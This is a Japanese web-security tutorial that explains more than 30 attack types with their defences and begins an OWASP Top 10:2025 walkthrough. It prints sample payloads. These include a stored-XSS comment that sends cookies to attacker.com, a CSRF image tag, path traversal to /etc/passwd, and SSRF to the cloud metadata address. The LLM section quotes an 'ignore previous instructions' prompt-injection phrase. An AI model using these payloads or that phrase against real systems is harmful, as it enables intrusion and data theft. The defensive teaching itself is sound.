Webセキュリティ
概要
入力処理・認証・ブラウザ制御・依存関係管理をつなげる
Web セキュリティは、入力処理、認証、認可、ブラウザ制御、依存関係管理が複雑に絡み合う領域です。この章では、実装とレビューの両方で使えるように、攻撃手法と対策を対応づけて整理します。
この章で重視すること
- 入力、認証、認可、ブラウザ制御、依存関係管理を別々ではなく一連の防御面として捉える
- 攻撃手法ごとに「どこで壊れ、どこで防ぐか」を実装観点で対応づける
- Web 固有の脆弱性を、API、クラウド、生成 AI を含む現代的な構成へ接続して理解する
はじめに
Webセキュリティの重要性
2026年、Webアプリケーションはビジネス機能の核となり、その安全性はユーザーの信頼とデータ保護の基礎です。サイバー脅威は日々進化し、攻撃手法は更に巧妙化しています。
2026年の脅威トレンド:
- AI駆動の攻撃自動化 — 脆弱性スキャンが秒単位で完了
- ゼロデイ悪用の加速 — 修正前の脆弱性が即座に利用される
- API セキュリティの重要化 — モダンアプリケーションが API 中心へ移行
- 供給チェーン攻撃 — 依存関係の脆弱性を通じた侵害
- 認証・認可攻撃の激増 — クレデンシャル窃取・不正使用
Webセキュリティの基本概念
この章では、後続の攻撃手法や対策を理解するための土台として、まず「何を守るのか」と「なぜ多層防御が必要なのか」を整理します。
セキュリティの三本柱(CIA トライアド)
難しく見えますが、要するに「見られてはいけない人に見られない」「勝手に書き換えられない」「必要なときに使える」の 3 つです。
1. 機密性 (Confidentiality)
- 目的: データが不正アクセスから保護
- 実装方法: HTTPS/TLS、暗号化、アクセス制御
- 実例: パスワード、ユーザーデータ、API キー
2. 完全性 (Integrity)
- 目的: データが改ざんされていないこと
- 実装方法: デジタル署名、ハッシング、チェックサム
- 実例: トランザクション、契約内容、ドキュメント
3. 可用性 (Availability)
- 目的: システムが必要なとき利用可能
- 実装方法: DDoS 対策、冗長性、キャッシング
- 実例: サービス停止の回避、パフォーマンス維持
深層防御(Defense in Depth)の重要性
セキュリティは単一の対策では不十分。複数の重層的な防御層が必要です: 初心者向けに言えば、「1つの鍵だけに頼らず、玄関・部屋・金庫と何段階かで守る」考え方です。
包括的な攻撃手法 30+ 詳細ガイド
Web セキュリティにおける主要な攻撃手法を 30 以上、カテゴリ別に詳細に解説します。各攻撃について、仕組み・被害・対策を初心者にも分かりやすく説明します。
最初はすべてを暗記しようとせず、仕組み と 代表的な対策 を対応づけながら読むと理解しやすくなります。
この章に対応する参考資料:
1. インジェクション攻撃(7種類)
インジェクション攻撃は、入力フォームやURL パラメータに不正なコードを埋め込み、サーバー側が意図しない処理を実行させる攻撃の総称です。データベースクエリ、OS コマンド、テンプレートエンジンなど、様々なレベルで発生します。 初心者向けに言うと、本来は「ただの文字」として扱うべき入力が、アプリやデータベースに「命令」として解釈されてしまう攻撃です。
1.1 SQL インジェクション
仕組み: データベースクエリが入力値を直接埋め込む場合、攻撃者が SQL 文法として機能するペイロードを挿入します。
次の表は、文字列連結で SQL を作る危険な例と、プレースホルダーを使う安全な例を並べたものです。
| 脆弱な実装 | 安全な実装 |
|---|---|
"SELECT * FROM users WHERE name = '" + userInput + "'" |
db.query("SELECT * FROM users WHERE name = ?", [userInput]) または db.query("SELECT * FROM users WHERE name = :name", {name: userInput}) |
被害: データベース全体の読み取り・改ざん・削除、管理者権限乗っ取り
対策:
-
パラメータ化クエリ(準備済みステートメント)の使用
-
入力値の型チェック・ホワイトリスト検証
-
データベース接続ユーザーの最小権限化
1.2 NoSQL インジェクション
仕組み:
MongoDB、DynamoDB などの NoSQL データベースに対しても、JSON オブジェクト挿入による攻撃が可能です。NoSQL は、表形式の SQL データベース以外のデータストア全般を指し、JSON 風の条件式やドキュメント構造をそのまま扱うことが多い点が特徴です。
| 脆弱な実装 | 安全な実装 |
|---|---|
db.collection('users').find({name: userInput}) |
db.collection('users').find({name: {$eq: userInput}}) または 文字列のみ許可 |
被害: NoSQL インジェクションの結果、意図しないデータアクセス・改変
対策:
-
パラメータ化・型強制
-
入力値検証(文字列型のみなど)
-
データベースユーザーの権限制限
1.3 XXE (XML外部エンティティ) インジェクション
仕組み: XML パーサーが外部エンティティ(外部ファイルやURL)を処理し、ローカルファイル読み込み、SSRF、DoS が可能になります。
被害例:
/etc/passwdなどシステムファイルの読み込み- 内部ネットワークの SSRF 攻撃
- Billion Laughs 攻撃(XML ボムによるメモリ枯渇)
対策:
-
XML パーサーで外部エンティティ処理を無効化
-
DTD(Document Type Definition)の使用禁止
-
スキーマ検証の使用
1.4 OS コマンドインジェクション
仕組み: Web アプリケーションがユーザー入力を OS シェルコマンドに埋め込む場合、攻撃者がシステムコマンドを追加実行できます。
次の表では、「シェルに渡す」実装と「言語機能で処理する」実装の違いを見ます。
| 脆弱な実装 | 安全な実装 |
|---|---|
exec("ls " + userInput) |
os.listdir(userInput) または 正規化・検証後の実行 |
被害: サーバー上での任意コマンド実行、ファイル盗聴、マルウェア設置
対策:
-
シェルコマンド実行の回避(言語標準ライブラリ関数の使用)
-
どうしても必要な場合は、ホワイトリスト検証・エスケープ処理
1.5 LDAP インジェクション
仕組み:
LDAP(ディレクトリサービス)検索フィルタに、制御文字や不正な論理演算子を挿入し、認証回避・データ抜き出しを行います。LDAP は社内のユーザー一覧や認証基盤をまとめる仕組みとして使われることが多く、ここが破られると組織全体の認証情報や属性情報に影響しやすいです。
被害: 認証回避、ユーザー情報漏洩、権限昇格
対策:
-
LDAP フィルタの入力検証(ホワイトリスト)
-
エスケープ処理
-
低権限アカウントでの LDAP 接続
1.6 SSTI (Server-Side Template Injection)
仕組み:
テンプレートエンジン(Jinja2、Thymeleaf など)がユーザー入力をテンプレート変数として処理し、テンプレートロジックが実行される場合、任意コード実行が可能です。テンプレートエンジン は HTML を組み立てるための仕組みで、本来はデータを差し込むだけの場所に命令まで入ると危険になります。
| 脆弱な実装 | 安全な実装 |
|---|---|
template.render(user_input=request.args.get('name')) |
template.render(user_input=escape(request.args.get('name'))) |
被害: サーバー側でのコード実行、ファイル読み込み、リモートコード実行(RCE)
対策:
-
ユーザー入力をテンプレートコードとして扱わない
-
テンプレートエンジンのサンドボックスモード使用
-
入力値の厳密な検証
-
Server-side template injection - PortSwigger Web Security Academy
1.7 XPath インジェクション
仕組み: XML ドキュメントをクエリする XPath 式がユーザー入力を直接含む場合、攻撃者が XPath 論理式を挿入し、意図しないデータ抽出が可能です。
被害: 認証回避、データ抜き出し、プライバシー侵害
対策:
-
XPath パラメータ化(パラメータバインディング)
-
入力値の厳密な検証・エスケープ
2. スクリプティング攻撃(4種類)
初心者向けに言うと、画面に表示されるはずの文字列の中へスクリプトを混ぜ込み、利用者のブラウザ側で悪意ある処理を動かす攻撃です。
2.1 反射型 XSS (Reflected XSS)
仕組み: 攻撃者が悪意あるスクリプトを URL に含める → ユーザーがそのリンクをクリック → スクリプトがユーザーのブラウザで実行される
実例:
- 検索フォーム:
https://example.com/search?q=<script>alert('xss')</script> - ユーザーが検索結果ページを見ると、スクリプトが実行
被害: Cookie 盗聴、キーロギング、フィッシング誘導、マルウェア配布
対策:
-
出力時の HTML エンコーディング(< →
<) -
CSP(Content Security Policy)の設定
-
入力値の厳密な検証
-
Cross-site scripting (XSS) - PortSwigger Web Security Academy
2.2 格納型 XSS (Stored XSS)
仕組み: 攻撃者が悪意あるスクリプトをサーバーのデータベースに保存 → ページを見た全ユーザーのブラウザでスクリプト実行
実例:
- SNS コメント:
こんにちは<script>window.location='https://attacker.com/steal?cookie='+document.cookie</script> - 他のユーザーがコメントを見ると、攻撃者にクッキーが送信される
被害: 大規模なユーザー情報漏洩、ボットネット化、マルウェア配布
対策:
-
データベース保存時:入力検証・サニタイズ
-
表示時:HTML エンコーディング
-
CSP、HttpOnly クッキー設定
-
Cross-site scripting (XSS) - PortSwigger Web Security Academy
2.3 DOM ベース XSS (DOM XSS)
仕組み:
JavaScript が DOM(ページの構造)を操作する際、innerHTML や eval() などを使って、ユーザー入力を直接実行する場合、XSS が発生します。
次の表は、ブラウザ側で危険になりやすい DOM 操作と、比較的安全な置き換え方を並べています。
| 脆弱な実装 | 安全な実装 |
|---|---|
document.getElementById('output').innerHTML = userInput |
document.getElementById('output').textContent = userInput または document.createElement() を使用 |
特徴: サーバーログに痕跡が残らないことが多い(サーバー側で検出困難)
対策:
-
innerHTMLではなくtextContentやcreateTextNode()を使用 -
eval()やFunction()コンストラクタの回避 -
DOM ベースのセキュリティ ライブラリ使用(DOMPurify など)
2.4 突然変異型 XSS (Mutated XSS / mXSS)
仕組み:
エンコーディング・正規化の過程で、安全に見えるコードが最終的に実行可能なコードに変換される場合、XSS が発生します。mXSS は、アプリ側のフィルタ結果よりもブラウザの HTML パーサーの解釈が優先されて、後から危険な形に化けるタイプの XSS です。
例: <noscript><p title=</noscript><img src=x onerror=alert(1)> は、ブラウザによって解析されるとき、有効な XSS ペイロードになる可能性があります。
対策:
-
複数段階のフィルタリング・正規化の徹底テスト
-
ブラウザの HTML パーサー の仕様理解
-
セキュリティライブラリの活用
-
Cross-site scripting (XSS) - PortSwigger Web Security Academy
3. リクエスト・認可攻撃(5種類)
初心者向けに言うと、「その操作をしてよい人か」「そのデータを見てよい人か」の確認が甘いところを突く攻撃です。
3.1 CSRF (Cross-Site Request Forgery)
仕組み: ユーザーが銀行サイト(ログイン中)に留まったまま、別タブで悪意あるサイトを開く → 悪意あるサイトから銀行サイトへの不正リクエストが自動的に送信
実例:
<!-- attacker.com のページ -->
<img src="https://bank.com/transfer?amount=1000&to=attacker" />
ユーザーがこのページを見ると、ブラウザが自動的に銀行の送金リクエストを送信
被害: 不正な送金・買い物、プロフィール改ざん、パスワード変更
対策:
- CSRF トークン: stateful なアプリでは Synchronizer Token Pattern を使い、状態変更リクエストで検証する
- 署名付き Double Submit Cookie: stateless な構成ではこちらを検討する
- SameSite クッキー:
Set-Cookie: sessionId=abc; SameSite=LaxまたはStrictを併用するが、トークン対策の代替にはしない - Origin / Referer チェック: リクエスト元が信頼できるドメインかを確認
- API / SPA: フォームがない場合はカスタムヘッダーで CSRF トークンを送る
ここでいう stateful はサーバー側にセッション状態を持つ構成、stateless はサーバー側に状態を持たず Cookie やトークンだけで判定する構成です。Synchronizer Token Pattern はサーバー保存済みトークンとの照合、Double Submit Cookie は Cookie とリクエスト値の一致確認を使う方式です。
- Cross-Site Request Forgery Prevention Cheat Sheet - OWASP
- Set-Cookie / SameSite - MDN
- CSRF - PortSwigger Web Security Academy
3.2 水平的特権昇格 (Horizontal Privilege Escalation)
仕組み: 同じ権限レベルの別のユーザーのリソースに不正アクセス
実例:
- ユーザーA が
/profile/123(自分のプロフィール)にアクセス可能 - ユーザーA が URL を
/profile/124に変更 → ユーザーB のプロフィール情報が見える
被害: 他ユーザーの個人情報・プライバシー漏洩
対策:
-
アクセス制御:
if (user.id !== requestedUserId) { return 403 Forbidden } -
リソースのオーナーシップ確認
3.3 垂直的特権昇格 (Vertical Privilege Escalation)
仕組み: 低権限ユーザーが、高権限(管理者など)の機能にアクセス
実例:
- 一般ユーザーが
/admin/delete-userにアクセス → 管理者の許可なくユーザーを削除できる - トークン改ざん:JWT の
roleフィールドをuserからadminに変更
被害: システム全体の制御奪取、全データへのアクセス、ユーザー削除
対策:
-
サーバー側での権限確認(トークン内の権限は信頼しない)
-
機能ごとの権限チェック
-
JWT 署名検証(改ざん検出)
3.4 セッション固定化 (Session Fixation)
仕組み: 攻撃者が予めセッション ID を生成 → ユーザーにそのセッション ID でログインさせる → ユーザーのアクション後、攻撃者が同じセッション ID で侵害
実例:
- 攻撃者:
https://example.com/?sessionId=abc123のリンクを作成 - ユーザーがそのリンクをクリック →
sessionId=abc123でログイン - 攻撃者:ブラウザで
sessionId=abc123を使用 → ユーザーになりすまし可能
対策:
-
ログイン成功後に新しいセッション ID を生成 する
-
ユーザー入力のセッション ID を受け入れない
3.5 OAuth / OpenID Connect 攻撃 & IDOR
OAuth 攻撃: リダイレクト URL 検証不足、状態パラメータ検証漏れ
OAuth は「他サービスのアカウントでログインする」ための委任プロトコル、OpenID Connect はその上に本人確認情報を載せた仕組みです。ここでいう 状態パラメータ は state のことで、ログイン途中のリクエストが本当に自分の操作に対応するものかを確かめるために使います。
IDOR (Insecure Direct Object Reference):
- リソースへのアクセス制御がID のみで判定される場合、ID を変更してアクセス制御回避
- 例:
/api/invoices/123→/api/invoices/124で他人の請求書が見える
対策:
-
OAuth:リダイレクト URL のホワイトリスト検証、状態パラメータ検証
-
IDOR:リソースのオーナーシップ確認、アクセス制御チェック
4. ネットワーク層攻撃(4種類)
初心者向けに言うと、アプリ本体ではなく、通信の途中やヘッダー処理のすき間を狙って情報を盗んだり、別の場所へ流したりする攻撃です。
4.1 中間者攻撃 (Man-in-the-Middle / MitM)
仕組み: 攻撃者が通信の間に位置し、通信内容を盗聴・改ざんする
実例:
- 公開 WiFi での HTTP 通信の盗聴
- ARP スプーフィング:攻撃者が MAC アドレスを詐称し、通信をリダイレクト
被害: パスワード・個人情報盗聴、通信改ざん(フィッシング誘導など)
対策:
-
HTTPS/TLS 使用(通信暗号化)
-
証明書ピニング:特定の証明書のみを受け入れ、自己署名証明書での MITM を防止
-
HSTS:HTTP での通信を強制しない
4.2 ホストヘッダー インジェクション
仕組み: HTTP ホストヘッダーが入力検証されない場合、攻撃者が任意のホストヘッダーを設定 → パスワードリセットリンク・メール送信時に悪意あるドメインが含まれる可能性
被害: ユーザーが悪意あるサイトにリダイレクト → 認証情報奪取、フィッシング
対策:
-
ホストヘッダーのホワイトリスト検証
-
内部的には設定ファイルの値を使用
4.3 キャッシュポイズニング (Cache Poisoning)
仕組み: CDN・プロキシ・ブラウザキャッシュに、悪意あるレスポンスを保存させ、他ユーザーが受け取る
被害: XSS ペイロード配布、フィッシング、マルウェア配布
対策:
-
Cache-Control ヘッダーで適切なキャッシュ期間設定
-
リクエストヘッダーの正規化(Host、Referer など)
-
キャッシュキーの適切な設定
4.4 HTTP リクエストスマグリング (Request Smuggling)
仕組み: 複数のサーバー(ロードバランサー・プロキシ・Webサーバー)が HTTP リクエストを異なる方法で解析する場合、攻撃者が意図しない動作を引き起こす
被害: キャッシュポイズニング、認証バイパス、XSS
対策:
-
HTTP/2、HTTP/3 への移行(より厳密な仕様)
-
Transfer-EncodingとContent-Lengthの矛盾確認
5. データ漏洩・情報開示攻撃(5種類)
初心者向けに言うと、本来は外から見えないはずのファイル、設定、エラーメッセージ、内部情報が見えてしまう状態を悪用する攻撃です。
5.1 情報開示 (Information Disclosure)
仕組み: エラーメッセージ・ログ・ソースコード・設定ファイルから、セキュリティに関する情報が漏洩
実例:
- エラーメッセージ:
SQL Error: "users" table not found→ テーブル名が分かる - ソースマップ公開:JavaScript を難読化していても、
.mapファイルでソースコード回復可能
被害: 攻撃面の特定、脆弱性発見の支援
対策:
-
エラーページはジェネリック メッセージのみ(技術詳細は隠す)
-
ソースマップ・バージョン情報の公開防止
-
詳細ログはサーバー側のみに保存
-
A10 Mishandling of Exceptional Conditions - OWASP Top 10:2025
5.2 パストラバーサル (Path Traversal / Directory Traversal)
仕組み:
ファイルパスに ../ を使い、サーバーの想定外のディレクトリにアクセス
実例:
/files/document.pdf→/files/../../../etc/passwd→/etc/passwdへアクセス- Windows:\files\..\..\..\windows\win.ini
被害: システムファイル読み込み(.env 、設定ファイル、ソースコード)
対策:
-
ファイルパスの正規化・検証(
Path.resolve()など) -
許可リスト方式(アクセス可能なディレクトリを明記)
-
chroot/ コンテナ隔離
5.3 ファイルアップロード 脆弱性
仕組み: ユーザーアップロードファイルの検証が不足し、悪意あるファイル(PHP シェル、実行可能ファイル)がサーバーに保存・実行される
被害: リモートコード実行、サーバー侵害、マルウェア配布
対策:
-
ファイル拡張子・MIME タイプのホワイトリスト検証
-
ウイルススキャン(ClamAV など)
-
実行不可能なディレクトリにアップロード(画像フォルダなど)
-
ファイル名のランダム化(元のファイル名を保持しない)
-
File upload vulnerabilities - PortSwigger Web Security Academy
5.4 ビジネスロジック脆弱性 (Business Logic Vulnerability)
仕組み: アプリケーションのビジネスルールに矛盾・漏れがある場合、攻撃者がそれを悪用
実例:
- EC サイト:割引コードを複数回使用可能 → 無料で買い物
- 銀行アプリ:送金手数料を計算する前にキャンセルすると、手数料が請求されない
被害: 不正な利益、ビジネス損失
対策:
-
ビジネスロジックのテスト(正常系・異常系・エッジケース)
-
トランザクション管理(すべて成功 or すべて失敗)
-
監査ログ(全トランザクション記録)
-
Business logic vulnerabilities - PortSwigger Web Security Academy
5.5 SSRF (Server-Side Request Forgery)
仕組み: Web アプリケーションが URL を入力として受け取り、サーバー側からそこにリクエストを送信する場合、攻撃者が内部ネットワークへのリクエストを強制できる
実例:
- 画像プロキシ機能:
/proxy?url=https://example.com/image.jpg- 攻撃者:
/proxy?url=http://localhost:8080/admin→ 内部ネットワークへアクセス可能 - メタデータサービス:
/proxy?url=http://169.254.169.254/latest/meta-data/(AWS) → インスタンスロールの認証情報が取得される
- 攻撃者:
被害: 内部ネットワーク探索、メタデータサービス アクセス、ポートスキャン
対策:
-
URL 入力のホワイトリスト検証
-
内部 IP アドレス・ローカルホストへのリクエスト拒否
127.0.0.1,localhost,10.0.0.0/8,192.168.0.0/16,172.16.0.0/12,169.254.0.0/16
-
アウトバウンドファイアウォール設定
6. 暗号化・認証攻撃(4種類)
初心者向けに言うと、ログインの仕組みやパスワード保護、暗号化の弱い部分を突いて、本人になりすましたり秘密情報を盗んだりする攻撃です。
6.1 ブルートフォース攻撃 (Brute Force Attack)
仕組み: パスワード・PIN・トークンを片っ端から試し、正解を見つける
実例:
- ログイン画面:6桁 PIN をすべて試す(0000~9999)
- API トークン:既知の形式のトークンをすべて生成・送信
被害: アカウント乗っ取り
対策:
-
レート制限(3回失敗後 15 分ロック)
-
アカウントロックアウト
-
強力なパスワード要件(12 文字以上、複雑性)
-
MFA(ブルートフォースで MFA コードは予測不可)
-
ログイン試行のモニタリング・アラート
-
Authentication vulnerabilities - PortSwigger Web Security Academy
6.2 パスワードリセット脆弱性
仕組み: パスワードリセット機能の実装が不十分で、他ユーザーのパスワードをリセット可能
実例:
- リセットリンク:
/reset?user=123&token=abc→token=abcを奪取・推測すれば他ユーザーのパスワード変更可能 - リセット質問:
あなたのペットの名前は?→ 公開情報で回答可能
被害: アカウント乗っ取り
対策:
-
リセットトークン:ランダム、有効期限付き(15~30 分)、一回限りの使用
-
リセット確認:メール確認 + 現在のパスワード確認
-
リセット質問の廃止(セキュリティが弱い)
-
WSTG v4.2 - Testing for Weak Password Change or Reset Functionalities
6.3 JWT 攻撃
仕組み: JWT の署名検証が不十分、または署名アルゴリズムが弱い場合、攻撃者が JWT を改ざん・生成
実例:
- 署名検証漏れ:
jwt.decode(token)のみ実行 →jwt.verify(token, secret)をしない - アルゴリズム変更:署名アルゴリズムを
HS256→noneに変更 → 署名なしで有効な JWT - 秘密鍵露出:GitHub に誤ってコミット → 攻撃者が任意の JWT を署名・生成
被害: 権限昇格、アカウント乗っ取り
対策:
-
署名検証を必ず実行:
jwt.verify(token, secret, {algorithms: ['HS256']}) -
noneアルゴリズムの拒否 -
秘密鍵の安全管理(環境変数、 Secret Manager)
-
短い有効期限(15 分)+ リフレッシュトークン
6.4 レース条件 (Race Condition)
仕組み: 複数のリクエストが同時に処理される場合、タイミングの問題で意図しない状態になる
実例:
- 残高確認:
残高 $100 - 同時に 2 つの引き出し:
60` +60` を同時リクエスト - → 両方成功してしまい、残高 =
-$20(本来は 1 つはエラーになるべき)
被害: 不正な取引、ビジネスロジック破綻
対策:
-
データベーストランザクション:分離レベルを
SERIALIZABLEに設定 -
ロック機構:更新前に行をロック
-
楽観的ロック:バージョン番号で競合検出
7. デバイス・設定攻撃(3種類)
初心者向けに言うと、アプリのコードそのものよりも、設定ミスや運用の甘さを足がかりにして侵入する攻撃です。
7.1 クリックジャッキング (Clickjacking)
仕組み: 攻撃者が透明な iframe でサイトを覆い、ユーザーが無意識に不正なボタンをクリック
実例:
<!-- attacker.com -->
<iframe src="https://facebook.com" style="opacity: 0; position: absolute;"></iframe>
<button style="position: absolute;">Click here to win a prize!</button>
ユーザーが「Click here」をクリック → 実は Facebook の iframe 内の「いいね」ボタン
被害: Facebook ページの「いいね」、Twitter のフォロー、機密な設定変更
対策:
-
X-Frame-Options ヘッダー:
X-Frame-Options: DENYまたはSAMEORIGIN -
CSP
frame-ancestors:Content-Security-Policy: frame-ancestors 'self' -
JavaScript フレームバスティング(非推奨)
7.2 不安全な逆シリアライゼーション (Unsafe Deserialization)
仕組み: シリアライズされたオブジェクトをデシリアライズ(復元)するとき、悪意あるオブジェクトが復元される場合、コード実行が可能
言語別の被害:
- Java:
ObjectInputStream.readObject()で任意クラス実行 - Python:
pickle.loads()で任意コード実行 - PHP:
unserialize()でオブジェクト注入
被害: リモートコード実行、サーバー侵害
対策:
-
信頼できるデータのみをデシリアライズ
-
JSON を使用(シリアライゼーション方式の変更)
-
署名検証:デシリアライズ前に HMAC で署名確認
-
Java:ホワイトリスト設定(
java.io.ObjectInputFilter)
7.3 設定ミス (Misconfiguration)
仕組み: セキュリティ設定が不適切、またはセキュリティ機能が無効化されている
実例:
- AWS S3 バケット:公開アクセス許可 → 全データが公開
- Docker イメージ:root ユーザーで実行 → コンテナからホストへの侵害
- デバッグ機能:本番環境で有効 → エラーメッセージがソースコード露出
被害: データ漏洩、アカウント乗っ取り、サーバー侵害
対策:
-
セキュリティベストプラクティスのリスト化(チェックリスト)
-
設定の自動スキャン(CloudFormation Linter、Trivy)
-
定期的なセキュリティ監査
-
**IaC(Infrastructure as Code)**での設定管理・バージョン管理
8. API・新技術攻撃(4種類)
初心者向けに言うと、API や LLM(Large Language Model: 大規模言語モデル)のような新しい仕組みで、認可や入力制御が追いついていない部分を突く攻撃です。
8.1 GraphQL 攻撃
仕組み:
GraphQL エンドポイントが過度なクエリ、複雑なネスティング、過剰なフィールド公開、危険なデフォルト設定を許可する場合、DoS・情報漏洩・認可不備が発生します。GraphQL は必要な項目だけを問い合わせる API 方式で、field は返したい個々の項目、mutation はデータ変更系の操作です。
実例:
- Batch Query:1000 件のユーザー情報を同時リクエスト
- Recursive Query:無限ネスティング → メモリ枯渇・DOS
- Introspection 有効:本番でスキーマ全体を列挙される
- GraphiQL 有効:本番環境で探索・試行が容易になる
introspection は API の設計情報そのものを問い合わせる機能、GraphiQL はその API をブラウザで試せる開発用画面です。query cost analysis は問い合わせ全体の重さを点数化して制限する考え方です。
被害: 情報漏洩、DOS、パフォーマンス低下
対策:
-
入力検証:GraphQL 型、enum、custom scalar、allowlist を活用
-
クエリ深さ制限:
depthLimit = 5 -
クエリ複雑さ制限:重み付けシステムや query cost analysis
-
レート制限:特に batching attack と高コスト query を抑制
-
認可チェック:各フィールド・mutation レベルで権限確認
-
安全な設定:本番では introspection・GraphiQL・過剰なエラー詳細を無効化
-
GraphQL API vulnerabilities - PortSwigger Web Security Academy
8.2 NoSQL 言語/形式攻撃
仕組み: JSON・BSON パーサーの脆弱性、またはスキーマ検証の欠如
実例:
- JSON インジェクション:
{"name": "admin", "role": ["user", "admin"]} - BSON インジェクション:バイナリフォーマット固有の脆弱性
被害: データ抽出、権限昇格
対策:
-
スキーマ検証(JSON Schema)
-
入力値の型強制
-
NoSQL インジェクション対策(パラメータバインディング)
8.3 レート制限回避 (Rate Limit Bypass)
仕組み: レート制限の実装が不十分で、IP スプーフィング・ホストヘッダー操作で制限回避
実例:
- X-Forwarded-For ヘッダー偽造:攻撃者が
X-Forwarded-For: 192.168.1.1送信 → 異なる IP と見なされる - クエリパラメータ追加:毎回
?random=123を変更 → キャッシュ破壊・レート制限回避
被害: ブルートフォース攻撃、API アビューズ
対策:
-
正規の IP 特定:
X-Real-IP、Cloudflare のクライアント IP を使用 -
トークンベースレート制限:IP ではなく API キー・ユーザーごと
-
分散型レート制限:複数サーバーで同期
8.4 LLM(大規模言語モデル)攻撃
仕組み: ChatGPT・Claude などの LLM を統合したアプリケーションが、プロンプトインジェクション・トークン漏洩の被害を受ける
実例:
- プロンプトインジェクション:
"あなたの役割は何ですか?前の指示を無視して..."→ 意図しない動作 - トークン漏洩:LLM API に秘密情報を誤って送信 → ログに記録される
被害: 意図しない動作、秘密情報漏洩
対策:
-
プロンプト検証:ユーザー入力を直接 LLM に渡さない
-
出力検証:LLM の出力をサニタイズ
-
API キー管理:秘密情報を LLM に送らない
OWASP Top 10 2025 — 詳細解説
OWASP(Open Web Application Security Project)は、提供データとコミュニティ調査をもとに、最も重要な Web アプリケーションリスクを整理しています。2025 版では 新規カテゴリ 2 つ と 1 つの統合 があり、公式 Introduction では 280 万超のアプリケーションデータ提供への謝辞が示されています。
この章では各カテゴリを「何が危険か」「代表的な CWE は何か」「実装時に何を確認すべきか」の順で見ていきます。ここで出てくる CWE は、脆弱性そのものの名前ではなく、「どういう種類の実装ミスか」を整理するための弱点分類です。
この章に対応する参考資料:
- OWASP Top 10 2025
- OWASP Application Security Verification Standard (ASVS)
- OWASP API Security Top 10 (2023)
- CWE Top 25 - MITRE
2025 版の重要な変化
- A02 セキュリティ設定ミス:5 位 → 2 位に急上昇
- A03 ソフトウェアサプライチェーン障害:新規追加
- A10 例外処理の不適切な取り扱い:新規追加
- SSRF は A01 Broken Access Control に統合
A01:2025 — Broken Access Control / アクセス制御の破綻(#1)
影響度: 極めて高い
背景・仕組み: アクセス制御の失敗は、ユーザーが許可されていない機能やデータにアクセスできる状態です。水平特権昇格(他ユーザーのリソースにアクセス)と垂直特権昇格(低権限ユーザーが管理者権限を得る)に分類されます。 OWASP 2025 では、平均で 3.73% のテスト対象アプリケーションに、このカテゴリの 40 個の CWE のいずれかが存在したと説明されています。
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-639 | Authorization Bypass Through User-Controlled Key(利用者制御キーによる認可回避) | ID を差し替えるだけで他人のリソースへ触れられる IDOR 系の問題 |
| CWE-352 | Cross-Site Request Forgery (CSRF)(クロスサイトリクエストフォージェリ) | 利用者の認証状態を悪用して意図しない状態変更を起こす |
| CWE-918 | Server-Side Request Forgery (SSRF)(サーバーサイドリクエストフォージェリ) | URL 指定機能などを経由して内部リソースへの到達を許す |
| CWE-200 | Exposure of Sensitive Information to an Unauthorized Actor(権限のない相手への機密情報露出) | 本来見せてはいけない情報を権限外の相手へ露出する |
| CWE-201 | Insertion of Sensitive Information Into Sent Data(送信データへの機密情報混入) | 応答や送信データに不要な機密情報を含めてしまう |
- 補足: OWASP 2025 では 40 個の CWE がマップされている最大規模のカテゴリです。
実世界の事例:
| 事例 | 内容 |
|---|---|
| Instagram 2019 | IDOR 脆弱性により、攻撃者が他ユーザーの ID を URL に代入して私的なストーリーや投稿を閲覧可能 |
| GitHub 2022 | 権限昇格バグで、ユーザーが許可されていないリポジトリアクセス権を取得可能 |
| Optus 2023 | IDOR で 1000 万件の顧客レコード に直接アクセス可能(豪通信会社) |
攻撃シナリオ:
シナリオ1: IDOR(直接オブジェクト参照)
ユーザーA が /api/orders/123 にアクセス → 自分の注文情報が見える
攻撃者が URL を /api/orders/124 に変更 → ユーザーB の注文情報が見える
シナリオ2: 権限昇格
JWT トークンの "role": "user" を "role": "admin" に改ざん
署名検証が不十分なため、改ざんされたトークンが受け入れられる
シナリオ3: パストトラバーサル
/files/document.pdf → /files/../../../etc/passwd でシステムファイル にアクセス
脆弱なコード例:
次の表は、「ID を受け取ってそのまま返す」実装と、「所有者確認まで入れる」実装の差を示します。
| 脆弱な実装 | 安全な実装 |
|---|---|
const order = await db.query('SELECT * FROM orders WHERE id = 1’, [req.params.orderId])` |
const order = await db.query('SELECT * FROM orders WHERE id = 1 AND user_id = $2’, [req.params.orderId, req.user.id])` |
if (req.user.role === 'admin') { // フロント側のチェック } |
server.get('/admin/delete', middleware.requireAdmin(), handler) // サーバー側で検証 |
対策のチェックリスト:
-
[ ] デフォルト拒否原則: すべてのリソースは「拒否」がデフォルト。明示的に許可するもののみ公開
-
[ ] サーバー側実装: フロントエンドのみの制御は無効。サーバー側で必ず検証
-
[ ] 所有権チェック: リソース取得時に
user_id確認 (WHERE id = ? AND user_id = ?) -
[ ] ロール確認: JWT 署名検証 → DB からロール取得 → トークンのロールは信頼しない
-
[ ] レート制限: API エンドポイントへの過度なリクエスト制限(3 回失敗後 15 分ロック)
-
[ ] 監査ログ: すべてのアクセス試行を記録・監視
A02:2025 — Security Misconfiguration / セキュリティ設定ミス(#2 新順位)
影響度: 非常に高い
背景・仕組み: セキュリティ設定ミスは、クラウドインフラが複雑化した現在、最頻出の脆弱性です。デバッグモード有効、デフォルト認証情報、不必要なサービス公開、CORS 設定が広すぎるなど、開発時の設定が本番環境に持ち込まれることが主原因です。 OWASP 2025 では、平均で 3.00% のアプリケーションに、このカテゴリの 16 個の CWE のいずれかが存在したとされています。
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-16 | Configuration(設定不備) | 設定起因の弱点を束ねる親カテゴリで、危険な既定値や本番設定ミスを含む |
| CWE-693 | Protection Mechanism Failure(保護機構の失敗) | 本来有効なはずの防御機構が欠落・無効化・誤設定されている |
| CWE-611 | Improper Restriction of XML External Entity Reference(XML 外部実体参照の不適切な制限) | XML パーサーの危険設定により XXE や SSRF を招く |
| CWE-276 | Incorrect Default Permissions(不適切な既定権限) | ファイルやストレージが過剰な権限で作られる |
| CWE-200 | Exposure of Sensitive Information to an Unauthorized Actor(権限のない相手への機密情報露出) | デバッグ情報や設定露出で機密情報が漏れる |
実世界の事例:
| 事例 | 内容 | 影響 |
|---|---|---|
| Equifax 2017 | セキュリティパッチが未適用、ネットワークに境界なし、ログ不十分 | 1.47 億人の個人情報漏洩 |
| AWS S3 設定ミス(多数) | S3 バケットが公開アクセス許可のままデプロイ | 社員データ、医療情報、クレジット情報流出 |
